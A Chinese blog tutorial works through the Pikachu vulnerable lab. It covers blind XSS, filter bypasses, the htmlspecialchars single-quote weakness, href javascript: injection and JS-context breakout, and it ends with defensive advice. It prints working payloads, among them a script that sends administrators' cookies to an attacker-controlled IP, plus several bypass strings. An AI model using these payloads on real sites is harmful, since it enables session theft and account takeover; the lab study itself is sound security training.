xss之盲打、过滤、htmlspecialchars、herf输出、js输出

一、XSS之盲打

1.盲打概述

“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
也就是只有从后台才能看到前端输入的内容,从前端无法判断是否存在xss

2.实验演示

第一步:打开pikachu的xss盲打,随便输入信息
在这里插入图片描述
第二步:模拟后台管理员,登录后台进行查看(右上角有登录地址)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第三步:输入js代码,此时页面并没有弹窗,但是在后台会显示

<script>alert('xss')</script> 

后台管理员查看,会触发了xss。这时攻击者后台就会获取到cookie

在这里插入图片描述
第四步:我们试着构造一个payload进行注入

<script>document.location = 'http://192.168.159.149:8080/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

注:记得修改cookie.php为自己(攻击者)的ip
在这里插入图片描述

第五步:模拟后台管理员进行登录,后台会重定向到首页

在这里插入图片描述

第六步:此时查看攻击者后台,获取到cookie

在这里插入图片描述

第七步:我们进行密码破解。此时攻击者已经拿到了后台管理员的账户和密码

在这里插入图片描述

二、XSS之绕过

XSS绕过-过滤-转换方法

1.前端限制绕过,直接抓包重放,或者修改.html前端代码

2.大小写混合:

<SCRIpt>alert(111)</SCRIpt>

3.拼凑

<scr<script>ipt>alert(111)</sc<script>ript>

4.使用注释进行干扰

<scr<!--test-->ipt>alert(111)</sc<!--test-->ript>

5.编码

核心思路:

后台过滤了特殊字符,比如

注意:在使用编码时需要注意编码在输出点是否会被正常识别和翻译

在这里插入图片描述

实验演示

pikachu的xss之过滤进行测试

大小写绕过:

<SCRIpt>alert(111)</SCRIpt>

在这里插入图片描述

img标签

<img src=x onerror="alert('img标签')" />

在这里插入图片描述

三、xss之htmlspecialchars()函数

htmlspecialchars()函数默认只编码双引号,当开发者未对单引号过滤时,就会可能导致XSS的发生

htmlspecialchars()函数把预定义的字符转换为HTML实体

预定义的字符是:

&(和号)成为&amp

“(双引号)成为&quot

‘(单引号)成为&#039

<(小于)成为&lt     

> (大于)成为&gt

可用的引导类型:

ENT_COMPAT 默认。仅编码双引号

ENT_QUOTES 编码双引号和单引号

ENT_NOQUOTES 不编码任何引导

实验演示

第一步:在输入框输入特殊字符

在这里插入图片描述

第二步:查看源码,发现并没有对单引号进行过滤。所以,就可能存在xss漏洞

在这里插入图片描述

第三步:在pikachu的xss之htmlspecialchars()漏洞进行测试

在这里插入图片描述

输入如下内容

q' onclick='alert(111)'

在这里插入图片描述

四、XSS的防范措施

总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到 JS里面的进行js转义

1.xss之herf输出

href这里有一个输出漏洞:输出在a标签的href属性里面,可以使用javascript协议来执行js,在输入时候只允许是http,https协议,只有这两种协议才可以进行输出,如果不是的话就不允许输入。之后再进行htmlspecialchars函数过滤。我们来看看后端的代码(路径如下):

D:\phpstudy2018\PHPTutorial\WWW\pikachu\vul\xss

第一步:首先查看一下后端源代码:

在这里插入图片描述

我们查看源码发现,虽然对htmlspecialchars()函数做了额外的处理,但是,它把输出放在了a标签的href属性里

第二步:输入payload,点击”阁下自己输入的url还请自己点一下吧“,然后发现出现弹窗:

javascript:alert(111)

在这里插入图片描述

2.xss之js输出

第一步:随便输入内容,进行测试

在这里插入图片描述

第二步:右键查看源码,发现输入点是ms

在这里插入图片描述

第三步:构造闭合

我们将源代码中的script闭合掉,然后插入我们自己的js代码,即

<script>
    $ms='111'</script><script>alert('xss')</script>';    
    //如果把逻辑部分忽略,那我们实际剩下的语句就是: <script>$ms=111
    //然后对前面的script进行闭合,<script>$ms=111</script>
    //然后插入我们自己的js代码<script>alert('xss')</script>
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }

将我们构造的payload拿出来

111'</script><script>alert('xss')</script>

成功弹窗

在这里插入图片描述

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值